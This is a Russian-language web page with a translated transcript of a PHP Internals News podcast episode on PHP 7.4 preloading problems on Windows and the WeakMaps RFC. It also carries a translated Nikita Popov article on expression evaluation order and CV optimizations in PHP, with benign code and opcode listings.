Привет, я Дерик. И это PHP internals news еженедельный подкаст, посвященный демистификации развития языка PHP. Это 38-й эпизод. Я собираюсь обсудить с Никитой Поповым несколько вещей, которые произошли за время праздников. Никита, как прошли твои праздники?


Никита Попов 0:34
Мои праздники прошли замечательно.


Дерик Ретанс 0:36
Я подумал начать беседу не так, как в прошлом году. В любом случае, сегодня утром я хочу поговорить с тобой о том, что произошло с PHP 7.4 в эти праздничные дни. А именно о проблемах с предзагрузкой в PHP 7.4 на Windows. Я понятия не имею, в чем собственно проблема. Не мог ли бы ты мне это объяснить?


Никита Попов 0:56
На самом деле в ранних версиях PHP 7.4 было довольно много проблем с предзагрузкой. Эта фича определенно была не достаточно протестирована. Большинство проблем было исправлено в 7.4.2. Но если вы используете preload-user (собственно то, что вы должны использовать, если вы работаете в руте), то вы, вероятно, все равно столкнетесь с крашами, и это будет исправлено только в следующем релизе.


Дерик Ретанс 1:20
В 7.4.3.


Никита Попов 1:22
Да. Но вернемся к Windows. Windows имеет совершенно другую архитектуру процессов, нежели Linux. В частности, на Linux или BSD у нас есть fork, который в целом просто берет процесс и копирует все его состояние в памяти, чтобы создать новый процесс. Это намного дешевле, чем кажется, потому что это повторное использование памяти до тех пор, пока она на фактически не изменится.


Дерик Ретанс 1:48
Это копирование при записи.


Никита Попов 1:49
Именно, копирование при записи. Эта же функциональность не существует в Windows, или, по крайней мере, она не доступна для широкого применения. Таким образом, в Windows вы можете создавать новые процессы только с нуля без повторного использования памяти из предыдущих. А для OPcache это проблема, потому что OPcache хотел бы ссылаться на внутренние классы, как определяет PHP. Но поскольку мы храним объекты в общей памяти, которая совместно используется несколькими процессами, у нас возникает проблема, заключающаяся в том, что эти внутренние классы могут находиться по разным адресам в разных процессах. В Linux мы всегда будем иметь один и тот же адрес, потому что мы используем fork, и адрес сохраняется. В Windows у каждого процесса может быть свой адрес. И особенно потому, что Windows, насколько я помню, начиная с Windows Vista, использует рандомизацию адресного пространства. Скорее даже почти всегда это будет другой адрес.


Дерик Ретанс 2:51
Из соображений безопасности?


Никита Попов 2:52
Именно. Из соображений безопасности.


Дерик Ретанс 2:54
Если вместо форка вы будете запускать новый процесс, будет ли это проблемой для Linux?


Никита Попов 2:59
Да, это будет проблемой. Разница в том, что в Unix мы так не делаем. OPcache в Windows имеет совершенно другую архитектуру. В Linux мы не разрешаем подключаться к существующему OPcache из отдельного процесса. Таким образом, единственный способ разделить OPcache это использовать fork. В Windows из-за ограничения в виде отсутствия fork, мы разрешаем такие подключения, и именно здесь нам приходится иметь дело с целым рядом проблем. Так что на самом деле это общая проблема, а не только предзагрузки, разница только в том, что обычно мы можем просто сказать: что ж, ладно, мы не разрешаем никаких ссылок на внутренние классы из общей памяти в Windows. Это небольшой недостаток со стороны оптимизации, но это не супер важно. Но что до предварительной загрузки, мы должны связать весь граф классов во время ее выполнения. И если у вас есть классы, которые расширяются из внутреннего класса, например, из Exception. Или, в некоторых случаях, вы можете просто использовать внутренний класс в качестве подсказки типа, тогда вы не сможете хранить ссылки такого рода в общей памяти в Windows. И так как для предварительной загрузки почти неизбежно, что вы попадаете в подобную ситуацию, получается, что вы просто не можете использовать предзагрузку в Windows.


Дерик Ретанс 4:18
Следовательно, напрашивается решение отключить ее, вместо того, чтобы пытаться заставить ее работать и практически всегда терпеть неудачу.


Никита Попов 4:24
Ага, я имею в виду, раньше она с горем пополам работала, просто вы получили кучу предупреждений, что такие классы не были предварительно загружены. И люди могут попасть в ситуацию, когда они попробуют ее на простых примерах и по результатам приходят к выводу, что предварительная загрузка отлично работает. Но как только они переходят к своему действительно сложному приложению, которое использует внутренние классы в различных местах, оказывается, что на самом деле, нет, на практике это не работает. И поэтому единственный способ избежать проблем отключит ее.


Дерик Ретанс 4:51
Кажется, пока это самое разумное решение, но как ты думаешь, в какой-то момент это можно будет исправить другим умным способом?


Никита Попов 4:58
Основной способ, с помощью которого с этим можно бороться, это избегать многопроцессных вложений в Windows. Альтернативой наличию нескольких процессов является наличие нескольких потоков, которые совместно используют адресное пространство. По сути, то же самое, что fork, только с потоками. Но это, конечно, зависит от того, какой веб-сервер и SAPI вы используете. И я думаю, что в настоящее время в Windows многопоточные веб-серверы несколько популярнее, чем в Linux, но это все еще не главный тренд в разработке.


Дерик Ретанс 5:34
Я думаю, что раньше модели потоковых процессов в Windows были гораздо более распространены, когда PHP только вышел для Windows, потому что это был модуль ISAPI, который всегда был потоковым. Насколько я помню, это основная причина, из-за которой у нас был ZTS, в первую очередь. Да, в какой-то момент они начали переходить на модели PHP FPM, потому что они не использовали многопоточность, и были таким образом гораздо безопаснее в использовании.


Никита Попов 5:57
Верно. Я имею в виду, что у потоков есть проблемы, в частности, потому что такие вещи, как локали, относятся к процессу, а не к потоку. Таким образом, процессы, как правило, безопаснее использовать.


Дерик Ретанс 6:08
Произошло ли что-нибудь еще интересное, что пошло не так с предзагрузкой, или вы не хотите об этом рассказывать?


Никита Попов 6:12
Остальное проистекает в основном из того, что у нас есть два разных способа реализовать предварительную загрузку. Один использует файл компиляции OPcache, а другой используют require или include, и разница между ними заключается в том, что файл компиляции OPcache объединяет файл, но не выполняется. В этом случае способ, которым мы выполняем предварительную загрузку, заключается в том, что мы сначала собираем все классы, а затем постепенно их связываем, фактически регистрируем их, всегда следя за тем, чтобы все зависимости уже были связаны. И это тот способ, который, как мне кажется, в целом хорошо работал с релиза PHP 7.4. И другой, require подход, в котором, собственно, require непосредственно выполняет код и регистрирует классы. И в этом случае, если оказывается, что какая-то зависимость не может быть предварительно загружена по какой-либо причине, мы просто должны прервать предзагрузку, потому что мы не сможем восстановиться после этого. Это прерывание отсутствовало. И как оказалось, в конце концов, люди на практике используют предзагрузку, используя require подход, а не подход с использованием файла компиляции OPcache.


Дерик Ретанс 7:26
Хотя это тот пример, который можно наблюдать в большинстве примеров, которые я видел, и в документации.


Никита Попов 7:30
Да, у него есть некоторые преимущества по сравнению с require.


Дерик Ретанс 7:34
Что еще произошло за праздники, так это то, что вы работали над несколькими RFC, о которых можно говорить слишком долго, чтобы это поместилось в этом эпизоде. Но одним из более ранних был WeakMap или WeakMaps RFC, который был построен на основе слабых ссылок, которые мы уже имеем в PHP 7.4. Что не так со слабыми ссылками, и зачем нам понадобились слабые ассоциативные массивы?


Никита Попов 7:58
Со слабыми ссылками все в порядке. Просто напомню, что представляют из себя слабые ссылки они позволяют ссылаться на объект, не исключая его из цикла сборки мусора. Так что, если объект будет уничтожен, то у вас останется висячая ссылка. Если вы попытаетесь получить к нему доступ, вы получите некоторую информацию об объекте. На сегодняшний день, вероятно, наиболее распространенным вариантом использования любой слабой структуры данных является ассоциативный массив (map), где у вас есть объекты и вы хотите связать с ними какие-то данные. Типичными вариантами использования являются кэши и другие мемоизирующие структуры данных. И причина, по которой важно, чтобы эта структура была слабой, заключается в том, что вы бы не хотели хммм, скажем, если вы хотите кэшировать некоторые данные связанные с объектом, но никто другой в итоге так и не использует этот объект, вы бы не хотели продолжать хранить эти данные в кэше, потому что никто никогда не будет использовать их снова. Они будут только бессмысленно занимать память. И здесь выходит на поле WeakMap. Здесь вы используете объекты в качестве ключей, а в качестве значения какие-то данные. И если объект больше не используется за пределами этого ассоциативного массива, он также удаляется из него.


Дерик Ретанс 9:16
Итак, вы упомянули объекты в качестве ключей. Это что-то новенькое? Потому что я не думаю, что в настоящее время PHP поддерживает это.


Никита Попов 9:22
Да, вы не можете использовать объекты в качестве ключей в обычных массивах. Это не сработает. Но, например, интерфейсу ArrayAccess и интерфейсу Traversable все равно, какие у вас типы. Так что вы можете использовать что угодно в качестве ключей.


Дерик Ретанс 9:37
Я освежил это в памяти, да. Но weak map это то, что затем реализует ArrayAccess.


Никита Попов 9:44
Правильно.


Дерик Ретанс 9:45
Как выглядит интерфейс Weak Map? Как бы вы с ним взаимодействовали?


Никита Попов 9:49
Ну, на самом деле, он просто реализует все магические интерфейсы из PHP. Таким образом, ArrayAccess вы можете получить доступ к weak map по ключу, где ключ это объект. Traversable то есть вы можете перебирать weak map и получать ключи и значения, и, конечно, Countable, так что вы можете подсчитать, сколько там элементов. Вот и все.


Дерик Ретанс 10:12
Все эти методы, их там предостаточно, должно быть девять или десять, или около того, верно?


Никита Попов 10:17
Пять.


Дерик Ретанс 10:18
Нет, там еще шестерка итераторов.


Никита Попов 10:20
Правильно, да, есть маленькая деталь, когда при реализации внутренних классов Traversable вам на самом деле не нужно реализовывать методы итератора. Вот почему их там несколько меньше.


Дерик Ретанс 10:33
Кто получит выгоду от этой новой фичи?


Никита Попов 10:35
Один из пользователей weak map, такие вещи как ORM. Где, ну, записи базы данных представлены как объекты, и есть хранилище данных, связанных с этими объектами. И я думаю, что это хорошо известная проблема, что если вы используете ORM, вы можете иногда сталкиваться с Memory Usage проблемами. И отсутствие слабых структур является одной из причин, почему это может произойти. Так как они просто продолжают держаться за информацию, хотя приложение на самом деле больше не использует ее.


Дерик Ретанс 11:12
Запрашивал ли какой-то конкретный ORM эту функцию?


Никита Попов 11:15
Я так не думаю.


Дерик Ретанс 11:16
Поскольку weak maps это что-то вроде внутреннего класса в PHP, как эти вещи реализованы? Есть ли что-то интересное? Потому что я помню, как говорил с Джо о слабых ссылках в прошлом году есть некоторая функциональность, когда она автоматически что-то делает с деструктором или, скорее, с объектами. Это то, что также происходит с weak maps?


Никита Попов 11:37
Итак, механизм работы слабых ссылок и ассоциативных массивов практически одинаков. Таким образом, на каждом объекте есть флаг, который можно установить, чтобы указать, что на него ссылается слабая ссылка или слабый ассоциативный массив. Если объект уничтожен и имеет этот прекрасный флаг, то мы выполняем колбек, который собирается удалить объект из Weak Reference или Weak Map, или сразу из нескольких ассоциативных массивов.


Дерик Ретанс 12:05
Это потому, что существует какой-то реестр, который связывает объект?


Никита Попов 12:08
Потому что мы храним объекты как часть слабые ссылок, и слабых ассоциативных массивов, мы можем эффективно удалить его.


Дерик Ретанс 12:16
Когда я читал RFC, я увидел упоминание чего-то вроде SPL ID объекта, что является способом, как в основном идентифицировать конкретный объект. Это связано со слабыми ссылками или слабыми ассоциативными массивами? Или это что-то, что больше не используется, или люди больше не должны использовать это в значительной степени, потому что, я предполагаю, что ранее это был способ идентифицировать объект и затем связывать с ним дополнительные данные. Как ты упоминал, что ORM должны были делать для кэширования.


Никита Попов 12:44
Верно. Это как-то связано, и в то же время нет. Одно не является заменой другого, это просто разные варианты использования. Раньше у нас очень долгое время был SPL хеш объекта. И я думаю, где-то в PHP 7.0, или, может быть, позже был введен SPL ID объекта, который является целым числом и потому более эффективен. Но, в конце концов, эти функции возвращают уникальный идентификатор объекта. Но этот идентификатор уникален только до тех пор, пока объект жив. Эти ID объектов используются повторно при уничтожении объектов.


Дерик Ретанс 13:30
И это делает их непригодными для связи данных кэша с конкретным объектом?


Никита Попов 13:35
Это делает их пригодными для связывания данных кэша. Но вы также должны хранить объект, чтобы быть уверенным, что он не будет уничтожен. Так вы обходите ограничение, что вы не можете использовать объекты в качестве ключей массива. Вот для чего вам нужен ID. Но вы все равно должны хранить сильную ссылку на объект, чтобы убедиться, что он не мусор. Ведь этот ID начинает ссылаться на какие-то другие объекты.


Дерик Ретанс 14:04
Когда вы говорите Сильная ссылка, это то, чем традиционно являются ссылки в PHP?


Никита Попов 14:08
Это обычная ссылка.


Дерик Ретанс 14:10
Ну, потому что прошло довольно много времени с тех пор, как RFC было представлено до того, как оно было принято, насколько я понял?


Никита Попов 14:16
Оно принято: 25, ноль


Дерик Ретанс 14:18
25, ноль. Это случается не очень часто.


Никита Попов 14:22
Большинство RFC, возможно, не являются анонимными, но, как правило, они либо приняты на 95%, либо строго отвергнуты. Бывает не много промежуточных решений.


Дерик Ретанс 14:34
Это очень хорошо. В любом случае, мы увидим это в PHP 8, как я полагаю, в конце года.


Никита Попов 14:39
Все верно. Да.


Дерик Ретанс 14:41
Ну, спасибо, что нашли время поговорить со мной о слабых ссылках и предварительной загрузке, особенно в Windows. Спасибо, что нашли время.


Никита Попов 14:50
Спасибо за то, что пригласили меня Дерик.


Дерик Ретанс 14:52
Спасибо за прослушивание этой серии PHP internals news, еженедельного подкаста, посвященного демистификации развития языка PHP. Я веду учетную запись Patreon для поклонников этого подкаста, а также для инструмента отладки Xdebug. Вы можете подписаться на Patreon по адресу. Если у вас есть комментарии или предложения, не стесняйтесь присылать их по электронной почте derick@phpinternals.news. Спасибо, что слушали, и увидимся на следующей неделе.


Заметки к подкасту


RFC: WeakMaps




Подробнее о курсе Backend-разработчик на PHP



Подробнее..

Перевод Порядок вычисления в PHP

26.07.2020 10:23:38 | Автор: admin

Примечание переводчика.
Никита Попов внёс и продолжает вносить огромный вклад в развитие языка PHP. Он очень хорошо понимает внутренности движка PHP и в данной статье он объясняет некоторые особенности работы PHP в плане порядка вычисления выражений, которые, пожалуй, особо нигде и не найти. Этой статье около 7 лет и она практически не потеряла актуальность, однако найти её довольно сложно, потому что её нет в блоге Никиты Попова, а она опубликована в его gist-ах на гитхабе. Думаю полезно будет представить её сообществу на русском языке.


В своём любимом сообществе lolphp на реддит я наткнулся на пост, где люди удивляются результату следующего кода:


<?php$a = 1;$c = $a + $a++;var_dump($c); // int(3)$a = 1;$c = $a + $a + $a++;var_dump($c); // int(3)

Как вы видите, выражения ($a + $a++) и ($a + $a + $a++) дают одинаковый результат, что довольно неожиданно. Что же здесь происходит?


Приоритет и ассоциативность операторов


Многие люди думают, что порядок вычисления выражения определяется приоритетом и ассоциативностью операторов, но это не так. Приоритет и ассоциативность определяют лишь порядок группировки операций в выражении.
В первом выражении $c = $a + $a++; пост-инкремент "++" имеет более высокий приоритет, чем "+", поэтому "$a++" является отдельной группой:


$c = $a + ($a++);

Во втором выражении $c = $a + $a + $a++; пост-инкремент "++" снова имеет более высокий приоритет, нежели "+":


$c = $a + $a + ($a++);

И "+" является лево-ассоциативным оператором, поэтому левый "+" формирует отдельную группу:


$c = ($a + $a) + ($a++);

Примечание переводчика: код из оригинальной статьи представлял примеры выражений и не являлся валидным, поэтому он был несколько скорректирован.


Что же это говорит нам о порядке вычисления? Ничего. Приоритет и ассоциативность операторов определяют группировку, но они не говорят о том, в каком порядке эти группы будут выполняться. В частности, в последнем примере, как ($a + $a), так и ($a++) может быть выполнено в первую очередь.


В PHP на самом деле не определено что же произойдет. Одна версия PHP может выдать вам один результат, а другая другой. Не пишите код, который зависит от какого-то определенного порядка вычисления выражения.


CV оптимизации


Все-таки, даже не смотря на то, что PHP не определяет порядок вычисления, будет интересно выяснить, почему же мы получаем довольно неожиданный результат в первом выражении (он будет одинаковым во всех последних версиях PHP).


Причина такого результата кроется в оптимизации компилируемых переменных (compiled variables, CV), которая была добавлена в PHP 5.1. Данная оптимизация по сути позволяет простым переменным (например, $a, но не $a->b или $a['b']) напрямую быть операндами опкодов. Опкоды это то, что PHP генерирует из вашего скрипта и то, что выполняет Zend VM (виртуальная машина Zend). Каждый опкод имеет максимум 2 операнда и опциональный результат.


А теперь давайте посмотрим на опкоды, сгенерированные двумя примерами кода.
Начнем с $a + $a + $a++:


// code:$a = 1;$c = ($a + $a) + ($a++);

// opcodes:         ASSIGN   $a, 1$tmp_1 = ADD      $a, $a$tmp_2 = POST_INC $a$tmp_3 = ADD      $tmp_1, $tmp_2         ASSIGN   $c, $tmp_3

Сгенерированные опкоды получаются довольно понятными:


  • сначала идет присваивание $a = 1,
  • далее сложение $a + $a с сохранением результата во временную переменную $tmp_1,
  • затем выполняется пост-инкремент $a с сохранением результата в $tmp_2,
  • и, наконец, сложение обоих временных переменных и присвоение результата переменной $c.

Вычисление здесь происходит слева направо (сначала выполняется $a + $a, затем $a++), как вы, наверное, и ожидали.


А теперь давайте рассмотрим вариант $a + $a++:


// code:$a = 1;$c = $a + ($a++);

// opcodes:         ASSIGN   $a, 1$tmp_1 = POST_INC $a$tmp_2 = ADD      $a, $tmp_1         ASSIGN   $c, $tmp_2

Как вы видите, в этом случае POST_INC ($a++) выполянется в первую очередь, и значение $a считывается напрямую опкодом ADD. Почему? Потому что чтение значения переменной не требует дополнительных опкодов. Любой опкод умеет считывать значения простых переменных. Это и есть CV оптимизация.


Когда не происходит CV оптимизация


Примечание переводчика: в оригинальной статье Никита Попов рассматривает вариант, когда CV оптимизации не срабатывают из-за использования оператора подавления ошибок @. Но это происходит лишь в PHP 5.x, а в PHP 7 оптимизации работают в том числе и в этом случае. Поэтому перевод оригинала, применимый только к PHP 5 убран в спойлер, а мы же рассмотрим вариант, когда код из примеров работает по-другому из-за отсутствия CV оптимизаций в силу не использования CV.


К чему приводит использование оператора подавления ошибок в PHP 5.x

Существуют некоторые (редкие) случаи, когда CV оптимизация не выполняется, например, в случае использования оператора подавления ошибок @.


Давайте проверим. Мы снова возьмем выражение $a + $a++, но в этот раз погасим ошибки, используя оператор @:


<?php$a = 1;@ $c = $a + $a++;var_dump($c); // int(2)

Теперь, когда мы применили оператор подавления ошибок, результат неожиданно поменялся с 3 на 2. И чтобы выяснить почему, давайте взглянем на опкоды:


         ASSIGN        $a, 1$tmp_1 = BEGIN_SILENCE$var_3 = FETCH_R       'a'$tmp_4 = POST_INC      $a$tmp_5 = ADD           $var_3, $tmp_4$var_2 = FETCH_W       'c'         ASSIGN        $var_2, $tmp_5         END_SILENCE   $tmp_1

Как мы видим, несколько вещей здесь изменились. Во-первых, весь код сейчас обрамлён опкодами BEGIN_SILENCE и END_SILENCE для обработки подавления ошибок. Они на самом деле нам не сильно интересны. Во-вторых, обращение к переменным $a и $b сейчас происходит при помощи FETCH_R (для считывания) и FETCH_W (для записи) вместо прямого использования их в качестве операндов.


Именно потому, что обращение к $a сейчас имеет отдельный опкод, оно будет происходить до инкремента и результат будет другим.




CV оптимизация не выполняется, например, в случае обращения к элементам массивов или свойствам объектов.


Давайте проверим. Мы снова возьмем выражение $a + $a++, но в этот раз будем использовать обращение к элементу массива вместо переменной:


<?php$a = [1];$c = $a[0] + $a[0]++;var_dump($c); // int(2)

Теперь, когда мы начали использовать массив, результат неожиданно поменялся с 3 на 2. И чтобы выяснить почему, давайте взглянем на опкоды:


         ASSIGN        $a, [1]$tmp_3 = FETCH_DIM_R   'a', 0$var_4 = FETCH_DIM_RW  'a', 0$tmp_5 = POST_INC      $var_4$tmp_6 = ADD           $tmp_3, $tmp_5         ASSIGN        $c, $tmp_6

Как мы видим, обращение к элементу массива здесь происходит при помощи FETCH_DIM_R (для считывания) и FETCH_DIM_RW (для чтения/записи) вместо прямого использования его в качестве операндов.


Именно потому, что получение операндов для сложения сейчас имеет отдельный опкод, оно будет происходить до инкремента, и результат будет другим.


На самостоятельное изучение оставлю аналогичный пример, но с использованием объектов. Найти пример кода можно по этой ссылке на 3v4l.org.


Выводы


Если делать какие-то выводы из всего этого, то я думаю они должны быть такими:


  1. Не нужно полагаться на порядок вычисления выражений. Он не определен.
  2. Оператор @ отключает CV оптимизации и в результате ухудшает производительность. Оператор @ в принципе плохо сказывается на производительности.

~nikic


Примечание переводчика: как было сказано выше, @ отключает CV оптимизации только в 5.x, в PHP 7 CV оптимизации имеют место даже в случае использования оператора подавления ошибок (но возможно, это происходит не во всех случаях). У Никиты Попова в блоге есть интересная статья Static Optimization in PHP 7, на случай, если кто-то хочет глубже копнуть тему оптимизации.

Подробнее..

Категории

Последние комментарии

© 2006-2020, personeltest.ru